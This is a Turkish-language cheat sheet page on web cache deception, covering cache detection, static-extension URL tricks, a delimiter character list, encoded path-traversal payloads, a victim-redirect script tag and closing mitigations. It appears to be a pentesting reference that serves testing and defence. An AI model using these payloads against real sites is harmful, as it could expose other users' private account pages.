Web Cache Deception

Web Cache Deception Nedir?

  • Web cache deception, bir saldırganın bir web önbelleğini hassas, dinamik içeriği depolaması için kandırmasını sağlayan bir güvenlik zafiyetidir.

  • Bu zafiyet, önbellek sunucusu ile kaynak sunucusunun istekleri işleme şekilleri arasındaki tutarsızlıklardan kaynaklanır.

Yöntemler

Cache Kontrolü

Uygulamada cache olup olmadığını anlamak için aşağıdakileri kontrol edebiliriz. Zaten cache yoksa zafiyet olamaz.

  • X-Cache Header

  • Cache-Control Header

  • Yanıtlar arası çok zaman farkı

Static Extension and Directory

  • Origin server en sondaki / karakterini dikkate almamalı.

  • Cache server sondaki uzantıya veya dosya ismine bakarak cache almalı.

https://example.com/my-account/a.css
https://example.com/my-account/a.js
https://example.com/my-account/a.ico
https://example.com/my-account/a.png
https://example.com/my-account/a.jpg
https://example.com/my-account/a.exe

https://example.com/my-account/robots.txt
https://example.com/my-account/index.html
https://example.com/my-account/favicon.ico

Redirect Kodu

  • Kurbanı linke yönlendirmek için script.

<script>document.location="https://example/my-account/a.js"</script>

Delimeter List

  • Sunucunun desteklediği bir delimeter karakter varsa aşağıdaki liste ile deneyebiliriz.

  • https://example.com/my-account;a.css

!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
:
;
<
=
>
?
@
[
\
]
^
_
`
{
|
}
~
%00
%0A
%09
%21
%22
%23
%24
%25
%26
%27
%28
%29
%2A
%2B
%2C
%2D
%2E
%2F
%3A
%3B
%3C
%3D
%3E
%3F
%40
%5B
%5C
%5D
%5E
%5F
%60
%7B
%7C
%7D
%7E

Origin Server Directory Normalization

  • Origin server %2f karakterini encode etmeli

    • /static/..%2fmy-account -> /my-account

  • Cache server %2f karakterini encode etmemeli

    • /static/..%2fmy-account -> /static/..%2fmy-account

  • Eğer bu şekilde ise aşağıdaki payloadları kullanırız.

https://example.com/static/..%2fmy-account
https://example.com/assets/..%2fmy-account
https://example.com/scripts/..%2fmy-account
https://example.com/images/..%2fmy-account

Cache Server Directory Normalization

  • Origin server %2f karakterini encode etmemeli fakat delimeter çözmeli

    • /my-account;%2f%2e%2e%2fstatic -> /my-account

  • Cache server %2f karakterini encode etmeli fakat delimeter çözmemeli

    • /my-account;%2f%2e%2e%2fstatic -> /static

https://example.com/my-account;%2f%2e%2e%2fstatic
https://example.com/my-account;%2f%2e%2e%2fassets
https://example.com/my-account;%2f%2e%2e%2fscripts
https://example.com/my-account;%2f%2e%2e%2fimages

Önlemler

  • Dinamik sayfaları işaretlemek için her zaman Cache-Control başlıklarını kullanın, no-store ve private yönergeleriyle ayarlayın.

  • CDN ayarlarınızı, önbelleğe alma kurallarınızın Cache-Control üstbilgisini geçersiz kılmayacağı şekilde yapılandırın.

  • CDN'nizin web cache deception saldırılarına karşı sahip olduğu tüm korumaları etkinleştirin. Örneğin, Cloudflare's Cache Deception Armor.

  • Kaynak sunucu ile önbelleğin URL yollarını yorumlama biçimleri arasında herhangi bir tutarsızlık olmadığını kontrol edin.

Araçlar

Kaynaklar

Last updated

Was this helpful?